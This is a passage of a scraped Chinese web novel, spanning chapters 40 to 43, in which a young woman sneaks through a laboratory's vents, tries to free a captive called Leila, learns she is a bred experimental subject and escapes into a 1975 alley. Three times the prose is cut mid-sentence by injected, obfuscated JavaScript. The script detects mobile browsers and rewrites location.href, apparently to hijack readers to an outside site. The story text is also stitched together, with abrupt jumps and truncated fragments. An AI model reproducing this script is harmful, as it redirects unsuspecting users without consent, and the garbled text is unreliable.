狭窄、黑暗、布满灰尘的通风管道。她不管不顾地爬了进去,然后将检修口盖子尽量复原。 管道里弥漫着铁锈和灰尘的气味,几乎令人窒息。她艰难地向前爬行,方向是主楼。树苗的微弱感知指引着她:蕾拉在下方,在更深的地下。 外面传来李明的怒吼和更多人的跑动声。干扰器的效果正在减弱,他能重新定位了。 林晚照在黑暗中摸索。通风管道四通八达,她只能凭着树苗那越来越清晰的、对“母亲”的共鸣感来辨别方向。向下,向左,再向下…… 不知爬了多久,前方出现一丝微弱的光亮,是另一个通风口。她凑过去,透过百叶栅格向下看。 下面是一个宽阔的空间,不像普通的实验室,更像一个被改造过的地下大厅。大厅中央,赫然是一个巨大的、圆柱形的玻璃培养舱,舱内充满淡蓝色的透明液体。而液体中悬浮着的,正是蕾拉。 她闭着眼,脸色苍白如纸,银色短发在液体中微微飘荡。更让人心悸的是,无数细密的、深黑色的丝状物从培养舱底部延伸上来,缠绕在她的四肢和躯干上,甚至有一些刺入了她的太阳穴和颈侧。那些黑色丝状物微微搏动着,像是活物的触须。 而在培养舱旁边,还有几个小型的透明容器,里面浸泡着一些难以名状的、散发着暗淡光芒的组织样本——那是从其他共生体或观测员身上剥离下来的“材料”。 大厅里有几个穿着白色防护服的人员在走动,记录数据,调整仪器。 林晚照的心沉到了谷底。这就是“捕猎者”的实验室,这就是蕾拉的囚笼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16884647|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>树苗在她意识里爆发出强烈的悲伤与愤怒,银光几乎要冲破隐藏状态。母亲!痛苦!黑色……吞噬! “冷静!”林晚照用意识死死压制住它,“现在暴露,我们都得死!” 她强迫自己观察。大厅有几个出入口?守卫分布?仪器控制台在哪里?蕾拉的培养舱有没有独立的控制系统? 就在这时,大厅一侧的门开了,李明走了进来,脸色阴沉。他径直走向主控台,对一名防护服人员说了几句。那人点点头,在控制台上操作了几下。 培养舱内的蓝色液体开始微微翻滚,那些黑色丝状物搏动加快。蕾拉的身体猛地抽搐了一下,眉头痛苦地皱起,但眼睛依旧紧闭。 他们在刺激她,或者说,在“榨取”她。 林晚照的指甲深深掐进掌心。她必须做点什么,但现在冲下去无异于自杀。 她的目光落在通风管道延伸的方向。管道似乎通往大厅天花板上的某些设备检修口。也许…… 突然,她手腕上原本紊乱的银镯红光,猛地稳定了一瞬,指向大厅的某个角落。那里堆放着一些废弃的仪器箱和杂物。 紧接着,树苗传递来一个极其惊讶、又带着熟悉感的意念:同类……隐藏……虚弱……但活着…… 在那个角落的阴影里,还有另一个共生体?一个隐藏起来的、虚弱的共生体? 这个发现像一道闪电划过林晚照的脑海。一个大胆的、近乎疯狂的计划雏形,开始在她心中成形。 她需要那个隐藏的共生体,需要制造混乱,需要接近控制台,还需要……一个能暂时切断黑色丝状物与蕾拉连接的方法。 她悄悄退回管道深处,从挎包里摸出最后一点干粮——炒黄豆,又拿出那包所剩无几的草药粉末。她将粉末小心地沾在几颗黄豆上。 然后,她再次爬到那个通风口,估摸了一下角度和距离,用尽全力,将几颗沾了粉末的黄豆,从百叶栅格的缝隙里弹射出去! 豆子悄无声息地落在那个堆满杂物的角落,滚进阴影里。 做完这一切,她立刻后退,爬向管道的另一个方向,同时,用意识向树苗发出最强烈的请求: “帮我……感应那个角落的同类……刺激它……一点点就好……引起最小的骚动……” 树苗理解了。它分出一丝微弱到极致、几乎不可能被监测网捕捉的感应波,像一根无形的丝线,悄然探向那个角落。 几秒钟后。 “咦?”大厅里,一个靠近角落的防护服人员忽然停下脚步,疑惑地看向那堆杂物。他好像看到阴影里有什么东西微弱地闪了一下绿光,还闻到一丝奇怪的、类似草药的味道。 他走过去,弯腰查看。 就是现在! 林晚照看准时机,用尽最后的力气,将手里剩下的、没有沾粉末的几颗黄豆,从通风口瞄准大厅主控台附近一个精密的、连接着许多线缆的仪器,用力弹出! “啪!”一颗黄豆打在了仪器侧面的金属外壳上,声音不大,但在安静的大厅里格外清晰。 “什么声音?”主控台前的李明和工作人员立刻警觉地抬头。 “那里!”查看角落的工作人员也直起身,指向杂物堆和主控台方向,一时间有些混乱。 所有人的注意力都被这两处小小的异常吸引了。 而林晚照,已经沿着通风管道,拼命爬向她早先观察到的、可能是备用电源或通风系统的检修节点方向。她能感觉到,胸口干扰器最后的余波正在消失,银镯的灼烫感正在重新变得清晰、稳定。 李明的怒喝声从下方隐隐传来:“加强警戒!搜查所有通风管道!她跑不远!” 灯光变得更加刺眼,警报声似乎随时会拉响。 林晚照蜷缩在管道一处稍微宽敞的转角,剧烈喘息,汗水混着灰尘流进眼睛,刺得生疼。她成功了第一步,制造了微不足道的混乱,暂时没有暴露。 但接下来呢?如何在下方的天罗地网中,救出蕾拉?如何摆脱即将重新锁定的“锚点”? 她的目光落在手腕上。银镯的红光已经恢复了规律的闪烁,像一颗冰冷而忠诚的心脏,不断将她的位置发送出去。 一个更疯狂的想法,不可抑制地冒了出来。 既然无法摆脱,何不……利用它? 她抚摸着滚烫的镯子,看向管道下方那片被阴影笼罩的、藏着虚弱同类气息的角落。 也许,饵可以不止一个。 41.双生诱饵 树苗的哀鸣在林晚照意识中尖锐如裂帛,那失控爆发的银光穿透了通风管道的金属壁,在她藏身的转角处投下一片摇曳的、璀璨到绝望的光斑。 完了。 这是林晚照脑中闪过的第一个念头。隐藏彻底破除,位置暴露无遗,下方大厅里李明的目光像实质的探针,钉死了这片区域。 下方传来清晰、稳定的脚步声,以及金属器械碰撞的脆响。他们上来了,目标明确。 没有时间绝望。 第二个念头紧随而至,冰冷、迅猛,像出鞘的刀——既然躲不了,那就把水彻底搅浑! 她猛地扯开棉袄内侧缝线,掏出那个已经耗尽能量的信号干扰器外壳,用牙齿和手指配合,硬生生掰开一角,露出里面复杂精细的微型电路。然后,她做了一件近乎自残的事:用指甲狠狠划破自己左手腕内侧——不是动脉,但足够深,温热的血液立刻涌出。 她将流血的手腕用力按在那个裸露的电路板上! 鲜血浸入精密的元件,发出轻微的“滋滋”声,伴随着一股焦糊味。这不是科学的做法,但她赌的是两件事:第一,她的血液长期受灵泉滋养,又因共生体连接蕴含着微弱但特殊的时空能量;第二,郑卫国改造的这个设备,核心原理是干扰特定能量频率。鲜血中的异常能量短路烧毁元件时,或许能迸发出最后一波混乱的、无法预测的干扰脉冲! “嗡——!!!” 一声低沉到几乎感觉是震动而非声音的爆鸣,以报废的干扰器为中心猛地扩散开!整个通风管道,乃至下方的实验室大厅,所有灯光都剧烈闪烁了一瞬!几个精密的仪器屏幕瞬间雪花,发出刺耳的电流噪音。 下方传来几声惊呼和咒骂。 几乎同时,林晚照将沾满自己鲜血的干扰器残骸,用尽全力朝着通风管道的另一端——远离阴影角落的方向,狠狠扔了出去!残骸在管道内壁上“哐啷啷”滚出老远。 做完这一切,她已经脸色惨白,失血和剧烈的能量冲击让她眼前发黑。但她死死咬住下唇,用疼痛保持清醒,迅速撕下内衣相对干净的一角,胡乱包扎住手腕伤口。 她的计划简单而疯狂:用自己的血引发最后一次不可控干扰,制造混乱;将残留她鲜血和能量的干扰器残骸扔向反方向,作为第一个诱饵,吸引大部分追兵;而她自己,真正的目标,是下方阴影中那个虚弱的同类,以及蕾拉! 树苗的银光在干扰爆发的瞬间也紊乱了一下,但哀鸣并未停止,反而因感受到“母亲”急剧恶化的痛苦而更加尖锐。林晚照强忍着意识被双重冲击的眩晕,用尽全部意志向树苗传达指令: “收敛!感应那个角落!连接它!告诉它……合作,或者一起死!” 这是最后的赌博。她不知道那个虚弱的共生体是否有意识,是否愿意沟通,甚至是否有敌意。 树苗的银光艰难地内敛,波动着,分出一缕纤细到近乎断裂的能量丝线,小心翼翼地向下方角落的阴影探去。 一秒,两秒…… 就在下方脚步声重新逼近,李明的怒喝“她在那头!封锁两端!”传来时—— 那缕能量丝线,触碰到了什么。 一股微弱、干涸、充满了痛苦与迷茫的意念,顺着丝线颤巍巍地传递回来。 痛……黑暗……饿……同类?……母亲……也在痛…… 有意识!而且,它同样称呼蕾拉为“母亲”! 林晚照精神一振,立刻回应:“是!母亲在受苦!我是来救她的!你能帮我吗?我需要制造更大的混乱,吸引他们的注意力!” 虚弱意念迟疑着,带着深深恐惧:他们……可怕……会抓住……吃掉…… “不合作,我们都会被抓住!母亲会被彻底吞噬!”林晚照的意念斩钉截铁,“帮我!制造动静,向干扰器残骸那个方向!然后……尽可能隐藏自己!” 也许是“母亲”这个词的刺激,也许是绝境中的共鸣,那虚弱的意念终于传来一丝决绝:好……但……我……很弱……只能……一下…… “一下就够了!” 话音刚落,下方那个堆满杂物的角落,阴影深处,骤然亮起一团极其黯淡、却频率诡异的绿色荧光!光芒不强,但闪烁方式奇特,忽明忽灭,像垂死生物的心跳,同时散发出一股难以形容的、类似腐败植物与电离空气混合的怪异气息。 这突如其来的、来自“实验样本储藏区”的异常,立刻引起了下方人员的注意。 “报告!B-7区域未登记样本出现异常能量反应!”有人喊道。 李明的目光凌厉地扫过绿光闪烁的角落,又看向干扰器残骸滚远的方向,脸色阴沉如水。他瞬间判断出这是一个二选一的陷阱。林晚照果然不是坐以待毙的兔子。 “A队去追残骸信号!B队封锁所有出口!C队,跟我控制B-7区域!注意,目标可能拥有诱发样本异常的能力!”他果断分兵,但亲自带人扑向了绿光闪烁的角落——相比一个可能只是诱饵的死物,一个突然活跃的、未知的共生体样本,价值可能更大,风险也更高。 机会! 就在李明带人冲向角落,大部分注意力被分散的这几秒钟,林晚照动了! 她没有向下跳入大厅,那是自杀。她沿着通风管道,朝着记忆中主楼建筑结构图(郑卫国笔记里瞥过一眼)显示的、靠近外部围墙的方向拼命爬去!树苗传递给她一个模糊的感知:那个方向的“网”似乎因为建筑结构和老旧线路,相对薄弱,而且……似乎有一条废弃的、连接外部的地下管线可能就在附近! 她不是要逃跑,至少现在不是。她要找到一个能暂时摆脱“锚点”实时监控的角落,哪怕只有几分钟,来执行下一步计划! 通风管道错综复杂,她依靠树苗对空间和能量流动的微弱感知,在黑暗中艰难抉择方向。身后远处传来管道被暴力撬开的声音,追兵没有放弃。手腕的伤口还在渗血,包扎的布条已经染红,体力在急速流失。 终于,前方出现一个较大的竖向通风井,井壁有生锈的爬梯。下方黑黢黢的,不知通往何处。树苗的感知在这里变得混乱,仿佛有多个微弱的能量场交织。 没有时间犹豫了。她抓住爬梯,向下滑去。 竖井很深,越往下,空气越潮湿阴冷,混杂着浓重的霉味和铁锈味。爬了大约两层楼的高度,脚下触到了实地——是松软的淤泥和积水。 这里似乎是地下室之下的某个废弃空间,可能是早年建筑的地下管廊或储藏间。几根粗大的、锈蚀严重的水管和电缆线从墙壁伸出,没入黑暗。头顶唯一的光源是通风井口透下的微光,四周一片漆黑。 林晚照背靠冰冷的墙壁,大口喘息。暂时安全了?不,“锚点”的灼烫感依然存在,只是在这复杂的地下环境和微弱干扰下,信号可能变得不稳定、延迟。她必须抓紧时间。 她再次沉入空间。树苗的状态很糟,银光暗淡,枝叶低垂,传递着深深的疲惫和对“母亲”持续的担忧。但它依然努力维持着与阴影中那个虚弱共生体的一丝连接。 “它怎么样了?”林晚照问。 很弱……刚才……消耗大……躲起来了…… 树苗的意念断断续续,它说……谢谢……母亲……以前……保护过它…… 林晚照心中一动。那个虚弱共生体果然和蕾拉有旧,这或许是转机。 “能再和它沟通吗?我需要知道实验室的详细情况,特别是蕾拉培养舱的控制系统,还有没有其他守卫薄弱点或者秘密通道?” 树苗尝试沟通,片刻后传来虚弱的反馈:它……知道不多……被关了很久……但它记得……母亲舱体……有独立备用电源……在舱体底座……红色开关……按下……可以暂时切断外部控制10秒……还有……它说……西侧墙……杂物后面……有个旧通风口……很小……可能通到外面小巷……但很久没用了……不确定…… 独立备用电源!十秒钟!旧通风口! 这是黑暗中浮现的第一缕光! “问它,那个通风口具体位置!以及,实验室里除了李明,还有没有其他‘捕猎者’的高层?或者特殊能力的守卫?” 树苗再次沟通,这次时间稍长。林晚照焦急地等待着,同时侧耳倾听上方的动静。追捕的声音似乎远去了一些,但并未停息。 它说……通风口……在西墙……第三个大型仪器柜后面……要挪开柜子……它也不确定……是否畅通…… 树苗的意念带着不确定,其他……它只知道……有个穿白大褂……戴金丝眼镜的男人……很少来……但一来……母亲就会很痛苦……李明……听他的……它很怕那个人…… 戴金丝眼镜的男人?李明之上还有更高层? 林晚记下这个信息。现在,她有了一个极度冒险但唯一可行的计划:潜回大厅,利用那十秒的独立电源切断时间,尝试解救蕾拉,然后从西墙可能的旧通风口逃离。 但这需要时机,需要外部制造更大的混乱,需要……有人配合。 她想到了郑卫国。他还在外面吗?他知道自己被困在这里吗?那个SOS信号后,他会不会有行动? 仿佛回应她的想法,手腕上原本规律闪烁红光的银镯,突然极其微弱地、不规则地闪烁了三下——短短长。 不是“锚点”的正常信号!是人为的、有意识的干扰脉冲!是郑卫国在试图传递信息!他就在附近,而且能动用某种手段微弱干扰“锚点”! 林晚照的心猛地提起。她仔细感受着那不规则闪烁的节奏,试图解读。短短长……摩斯码?不对,这个节奏…… 她忽然想起郑卫国笔记某一页的角落,用一种近乎涂鸦的方式画了几个奇怪的符号和对应的闪烁节奏,旁边标注“紧急情况简易码”。 短短长……对照记忆……是……“等”? 他在让她等?等什么?等他的信号?还是等某个时机? 就在这时,头顶通风井口方向,隐约传来不同于追捕喧嚣的另一种声响——沉闷的、类似重物倒地声,短暂的惊呼,随后是急促的奔跑声和呵斥声,声音快速向着实验室大厅方向移动! 是郑卫国!他行动了!他在故意制造动静,吸引火力! 机会来了! 林晚照不再犹豫。她撕下另一条相对干净的布条,重新加固手腕伤口。然后,她看向空间里萎靡的树苗。 “最后帮我一次。”她的意念温柔而决绝,“我需要你所有的能量,帮我暂时屏蔽‘锚点’对我位置的精确指示,越久越好。然后,积蓄力量,等我们靠近母亲时……我需要你,尝试沟通她,哪怕只是一瞬,告诉她——坚持住,我们来救她了。” 树苗的枝叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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就在她观察时,透过烟雾,她看到蕾拉所在的培养舱内,深红色的液体翻滚得更加剧烈,那些黑色丝状物狂舞着,蕾拉的身体痉挛幅度变大,嘴角甚至溢出一缕血丝(在液体中化开)。她的眼睛,在极度痛苦中,似乎极其微弱地睁开了一线,银色的瞳孔涣散无光,却仿佛穿透了液体和玻璃,看向了林晚照藏身的通风口方向。 那一眼,充满了无尽痛苦,却又似乎有一丝……解脱般的期待? 树苗在她意识中发出悲鸣,银光剧烈波动,屏蔽“锚点”的效果都在动摇。 不能再等了! 林晚照看准下方因为烟雾和救火造成的短暂视野盲区,以及几个守卫被门口动静吸引转头的一刹那—— 她猛地踹开通风口百叶栅格,纵身跳了下去! 落地点是那个西墙的大型仪器柜顶部。厚重的柜子被她下坠的力道砸得轰然一响,微微晃动。 “在上面!”立刻有人发现,枪口(或类似武器)指来! 林晚照毫不停留,就着下落的势头,双脚猛蹬柜子顶部,借力扑向旁边另一台稍矮的设备,险之又险地躲开一道射来的蓝色电光(非致命性抓捕武器?)。她像一只灵活的狸猫,在复杂的仪器和设备之间腾挪跳跃,利用烟雾和警报闪烁的红光作为掩护,目标直指大厅中央的蕾拉培养舱! “拦住她!别让她靠近主样本!”李明的声音带着一丝气急败坏。 更多的守卫围拢过来。但烟雾和持续的警报干扰了他们的配合。 林晚照感到“锚点”的屏蔽在剧烈波动,树苗的力量快到极限了。她离培养舱还有十几米,中间隔着至少五个全副武装的守卫。 眼看就要被合围—— 突然,大厅主电源“啪”地一声熄灭了!只剩下应急红灯和培养舱自身微弱的背光! 短暂的、绝对黑暗的一瞬(不到一秒)! 紧接着,备用电源启动,灯光重新亮起,但亮度大减。 就在这明暗交替的瞬间,林晚照用尽全身力气,将一直攥在手里的、从通风管道掰下的一截尖锐金属断片,狠狠掷向培养舱底座某个疑似红色开关的位置! “叮!”一声脆响,伴随着电火花! 培养舱周围的一圈指示灯瞬间熄灭,舱内翻滚的深红色液体猛地一滞,那些狂舞的黑色丝状物像是突然失去动力,抽搐着,动作变得迟缓而僵硬! 独立备用电源启动!十秒倒计时开始! “不!”李明怒吼。 守卫们因为这突如其来的变故愣了一下。 林晚照抓住这千金一发的机会,从两个守卫之间的缝隙猛冲过去,扑到了培养舱前! 隔着冰冷的玻璃,她与舱内蕾拉涣散的银色瞳孔对视。 树苗用尽最后的力量,爆发出一股强烈的、充满依恋与呼唤的意念波动,冲向蕾拉! 也就在这一刻,林晚照看到,蕾拉那涣散的瞳孔中,骤然凝聚起一点微弱却清醒至极的银芒!她的嘴唇,在粘稠的液体中,极其缓慢地,开合了一下。 没有声音。 但林晚照和树苗,都清晰地“听”到了一个直接响在意识深处的、虚弱却清晰无比的词: “跑……” 下一秒,十秒时间到。备用电源断开,外部控制恢复。黑色丝状物重新开始蠕动,但似乎比之前迟钝了些。 李明的狞笑在身后响起:“抓住她!” 而林晚照的目光,却死死锁在西墙——那个刚才被她踩踏过的大型仪器柜,在电源切换的震动和混乱中,似乎……向旁边挪动了几寸,露出了后面墙壁上一个黑黢黢的、边缘布满锈迹的洞口。 旧通风口!真的存在! 42.黑暗甬道与真相回响 “育种者”。 这个词像一根烧红的铁钎,贯穿了林晚照的耳膜,烫穿了她的认知。手腕上银镯的剧痛、那与控制器同步的“滴滴”声,都成了这个词最残忍的注脚。她不是什么意外穿越的孤魂,不是被命运选中的观测员,她是……被培育的“作物”?为了收割什么? 眼镜男——“博士”——对她的惊骇反应似乎很满意,那温和的微笑里淬着冰冷的愉悦。他不再看她,仿佛她已是囊中之物,注意力重新回到剧烈颤抖的蕾拉身上,手指在银色控制器上又轻点了一下。 墨黑的液体翻涌稍缓,蕾拉弓起的身体微微松弛,但那双刚刚凝聚起一丝清明的银色瞳孔,再次涣散开,只剩下空洞的痛苦。 “你看,”博士的声音在警报余音和守卫急促的脚步背景中,清晰得可怕,“‘繁育者’的潜力还没有耗尽。她的意识还在抵抗,这很好,很有研究价值。而你,074号,”他终于又瞥向林晚照,镜片后的眼睛像显微镜的镜片,审视着标本,“你的成长超出了预期。与未知高潜力共生体达成稳定共生,甚至能诱发其他衰变体活性……你是一颗优秀的果实。虽然‘收割’时机因意外提前了,但数据依然宝贵。” 每一个字都在颠覆、在摧毁。林晚照感到一阵恶心,不仅仅是生理上的,更是对自我存在根基的动摇。她所有的挣扎、努力、与树苗建立的羁绊、对红星公社那份沉甸甸的责任……难道都是被设计好的程序?都是为“收割”做的准备? 不! 内心最深处,一股近乎蛮横的意志嘶吼着反弹。就算起源是阴谋,她这七个月活过的每一天、流过的汗、见过的笑容、许下的承诺,都是真的!树苗依偎在她意识里的温暖是真的!陈大牛、陈铁柱、王晓芬他们眼里的信任是真的! 她不是果实!她是林晚照! 这股意志冲垮了瞬间的恍惚。求生的本能和对蕾拉(哪怕她是“繁育者”)遭遇的怒火,压倒了认知崩塌带来的眩晕。她的目光猛地射向那个黑黢黢的旧通风口——那是蕾拉用最后清醒指引的“跑”,是此刻唯一的生路! 然而,守卫已经围拢,最近的离她只有三步。博士虽然看似从容,但控制器在手,随时可以让她腕上的“锚点”变成最痛苦的枷锁。 就在这电光石火的刹那,异变再生! “轰隆——!!!” 一声远比之前火警触发更沉闷、更巨大的爆炸声,从实验室东侧、靠近建筑主体结构的方位传来!整个地下大厅剧烈摇晃,顶部的灰尘和碎块簌簌落下,几盏应急灯“噼啪”熄灭,光线更加昏暗。刺鼻的硝烟味混合着原本的烟雾弥漫开来。 “怎么回事?!”李明厉声喝问,顾不上林晚照,急忙看向爆炸方向。 “报告!东侧三号备用发电室发生爆炸!原因不明!结构可能受损!”有守卫通过通讯设备急促汇报。 郑卫国!这一定是郑卫国干的!不是简单的火灾警报,而是更直接的暴力破坏!他在用这种方式,制造最大的混乱,为她创造机会! 机会! 林晚照动了。她没有冲向通风口,反而借着爆炸震动众人分神的瞬间,弯腰捡起地上一截断裂的金属导管,用尽全身力气,狠狠砸向身边一个闪烁着指示灯的配电箱! “砰!哗啦——!” 电火花四溅,一小片区域陷入黑暗,包括困住蕾拉的培养舱的部分照明。虽然舱体自带微光,但视线明显受阻。 “拦住她!”博士的声音第一次失去了绝对的从容,带上一丝恼怒。他显然没料到在“锚点”控制和自己亲临的情况下,这个“果实”还敢如此疯狂反抗,更没料到外部破坏如此猛烈。 守卫们反应很快,但爆炸的震动、弥漫的硝烟、突然的局部断电以及林晚照完全违背常理(不逃跑反而搞破坏)的行动,让他们出现了极其短暂的混乱和判断迟疑。 就这短短一两秒,林晚照像一只矫健而亡命的野猫,猛地蹬踏旁边的仪器台,身体几乎与地面平行地窜出,险险避过一道抓来的手和射来的电击光束,落地翻滚,径直撞向那个西墙的大型仪器柜! “哐!”本就因她 earlier 踩踏而松动的柜子,被她这舍身一撞,沉重的底座与地面摩擦发出刺耳声响,再次向旁滑开一尺有余! 那个边缘锈蚀、黑洞洞的通风口,完全暴露出来!直径大约只有五六十公分,勉强容一人蜷缩通过,里面漆黑一片,深不见底,散发着陈年的尘土和铁锈气息,仿佛怪兽的喉咙。 没有时间判断里面是否有路、是否安全、是否有更可怕的陷阱。身后是博士冰冷的视线、李明气急败坏的怒吼、守卫重新扑来的身影,以及手腕上“锚点”越来越清晰的、仿佛要嵌入骨头的收紧感和灼痛。 跳! 林晚照没有丝毫犹豫,在最近的守卫手指即将触及她衣角的瞬间,团身扑入了那片黑暗之中! “追!”李明的怒吼被抛在身后。 通风管道内部比她想象得更狭窄、更崎岖。根本不是规整的管道,更像是建筑废弃的、不同时期管道堆叠挤压形成的缝隙。尖锐的金属断茬、厚厚的灰尘蛛网、潮湿滑腻的不知名污垢瞬间包裹了她。她只能凭借直觉和求生的欲望,在绝对的黑暗中,朝着可能是“外”的方向拼命爬行。 手腕上的“锚点”银镯仍在发烫、震动,“滴滴”声在狭窄空间里回荡,仿佛死神的脚步声。她知道,这声音会指引追兵。她必须尽快拉开距离,或者……找到办法屏蔽它,哪怕只是暂时的。 爬行了不知多久,也许只有几分钟,却漫长得像一个世纪。前方出现了一点极其微弱的、灰蒙蒙的光,似乎是另一个出口,但同时也传来了模糊的、市井的声响——隐约的叫卖声、自行车铃声、远处广播模糊的歌唱声。 是外面!真的通向小巷! 希望刚升起,后方管道深处就传来了清晰的、金属摩擦和人体爬行的声音!追兵进来了!而且不止一个!声音在复杂的管道里回荡,难以判断具体距离,但肯定不远! 更糟糕的是,就在她奋力朝着那点微光爬去时,左手腕的“锚点”银镯猛地爆发出一阵强烈的、尖锐的刺痛,仿佛有无数细针同时扎入!同时,一股诡异的、冰冷的意念波动,强行试图穿透树苗沉寂后变得薄弱的意识屏障,直达她的脑海! 是那个银色控制器!博士在远程加强“锚点”的刺激,试图直接干扰甚至控制她的神经! 林晚照痛哼一声,眼前发黑,攀爬的动作瞬间僵住,差点从一处倾斜的管道边缘滑落。她死死咬住嘴唇,血腥味在口中弥漫,用剧痛对抗着那股试图侵入的冰冷。 不能停!停下来就是死! 她脑中疯狂回想郑卫国笔记里一切关于“锚点”的描述。便携式激发器、定位信标、回收清除程序的一部分……有没有弱点?任何系统都该有弱点!强行激活干扰?她已经用血试过,只剩一次超载机会,那是最后保命的。物理破坏?这镯子材质诡异,之前尝试从未损其分毫。能量屏蔽?树苗力量耗尽…… 等等! 树苗力量耗尽,但……连接还在!最本源的、共生体的连接! 一个近乎自毁的念头闪过脑海。既然“锚点”通过能量信号定位和控制,那么,如果她用自己(和树苗)的生命能量为燃料,瞬间制造一个极致的、纯粹的能量“噪声”爆炸呢?不是干扰外部信号,而是从内部,用自身的混乱,去冲击“锚点”的稳定接收! 这可能会重创甚至毁灭树苗刚刚萌芽的意识,可能会让她自己的意识严重受损,但……这是唯一可能暂时摆脱“滴滴”声追踪、摆脱那冰冷意念侵入的办法! 没有时间权衡了!追兵的声音更近了! 林晚照在黑暗中闭上眼睛,不再试图对抗那股侵入的冰冷意念,反而……主动放松了意识屏障,同时,用尽全部精神,向沉寂的树苗发出最后、最恳切的呼唤与指令: “帮我……最后一次……把所有的能量……所有的‘声音’……都给我……然后……沉睡……保护好自己……” 沉寂的树苗似乎感应到了她决绝的意志和极致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16891285|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的危险。那微弱的、玉白色的光核,在她意识深处轻轻颤抖了一下,然后,毫不犹豫地,将自身残存的、以及从林晚照生命力中汲取转化的所有能量,以一种无比纯粹、不带任何防御和过滤的形式,轰然传递给她! “呃啊——!!!” 林晚照喉咙里挤出一声压抑到极致的痛吼。那不是物理的疼痛,是意识被纯粹能量洪流冲刷、几乎要崩解的剧痛!仿佛每一个脑细胞都在燃烧、呐喊! 她将这狂暴的、无差别的能量,全部导向左手腕的“锚点”银镯! “嗡——!!!” 银镯爆发出前所未有的、刺眼到透过皮肉和衣袖都能看见的炽烈白光!那规律的“滴滴”声瞬间被一种高频、混乱、尖锐到无法形容的噪音取代!镯体本身剧烈颤抖,表面的龙凤纹路疯狂扭动,仿佛要活过来挣脱! 那股试图侵入的冰冷意念,像是被滚烫的烙铁狠狠烫到,猛地缩了回去! 更重要的是,追踪的“滴滴”声信号,在这片纯粹的能量噪音爆炸中,彻底消失、紊乱了! “信号……信号丢失!干扰太强!无法定位!”后方管道里,传来追兵气急败坏又带着惊疑的汇报声。 成功了!虽然只是暂时的! 林晚照七窍都渗出了细微的血丝,脑袋像被重锤砸过,嗡嗡作响,意识模糊,几乎要当场昏厥。但她凭着最后一口气,朝着前方那点越来越近的微光,手脚并用地爬去! 眼前豁然开朗! 她从一个离地约两米高、隐藏在堆积杂物和破烂招牌后面的墙洞中,滚落出来,重重摔在一条狭窄、潮湿、堆满垃圾的后巷地面上。 冰冷肮脏的雪水浸透了她单薄的衣衫,刺骨的寒风瞬间包裹了她。但她却贪婪地、大口地呼吸着这充满城市灰尘和复杂气味的“自由”空气。 头顶是1975年冬日下午阴沉灰白的天空,两旁是高耸的、墙皮剥落的旧式楼房。远处隐约传来有轨电车的铛铛声和模糊的广播喇叭声。 她真的逃出来了!从那个地狱般的实验室,来到了省城真实、混乱、充满生机的街道背面。 然而,危机远未结束。追兵可能很快就会从别的出口绕过来搜索这片区域。“锚点”的信号干扰只是暂时的,一旦能量平息,它很快就会重新被锁定。她身受重伤(手腕的伤口崩裂,意识受创),树苗陷入深度沉寂,孤立无援,对省城环境完全陌生。 而且……“育种者”、“繁育者”、“收割”……这些词像毒蛇一样盘踞在她心头,啃噬着她刚刚获得的短暂喘息。 她挣扎着爬起来,背靠冰冷潮湿的砖墙,警惕地打量四周。这条后巷很僻静,堆满了杂物,几个破烂的垃圾桶散发着异味。巷子一头被杂物堵死,另一头通向一条稍宽的、似乎有行人走过的胡同。 必须立刻离开这里,找个地方躲起来,处理伤口,恢复体力,然后……想办法联系郑卫国?或者找到张教授?他们现在是否安全? 就在她艰难地挪动脚步,准备朝着胡同方向移动时,巷子另一头堆积如山的破烂家具和木板后面,传来了极其轻微的“咯吱”声。 有人! 林晚照浑身汗毛倒竖,立刻屏住呼吸,蜷缩进一堆废弃的竹篓后面,手摸向地上半截锈蚀的铁棍。 一个身影,小心翼翼地从杂物后面探出头来。 不是穿着制服或防护服的追兵。 那是一个看起来六十多岁、头发花白、穿着打补丁的旧棉袄、脸上布满岁月沟壑的老太太。她手里挎着个旧竹篮,篮子里装着些捡来的破烂和煤核。她眼神有些浑浊,但透着底层小市民特有的警惕和一丝好奇,正打量着狼狈不堪、浑身污血迹的林晚照。 两人目光在昏暗的后巷中对上。 老太太先开了口,声音沙哑,带着浓重的本地口音: “姑娘,你……你是从那个‘鬼楼’里跑出来的?” 她枯瘦的手指,指了指林晚照刚刚爬出来的那个墙洞方向,而那个方向,正是省农科院老实验楼的后侧。 43.银瞳旧影 老太太那双浑浊却锐利的眼睛,像两枚生了锈但仍能卡死机关的旧锁,牢牢锁在林晚照脸上。她枯瘦的手指捏着那张泛黄的照片,边缘已经被摩挲得起了毛边,照片上的年轻女子笑容温婉,最扎眼的是那双在黑白影像中都仿佛能透出光来的、轮廓奇特的浅色瞳孔——不是白内障的灰白,而是一种剔透的银灰。 “银眼睛的仙子……”老太太又喃喃了一遍,声音里压着一种积年累月的、近乎迷信的敬畏,还有一丝深藏的痛楚。 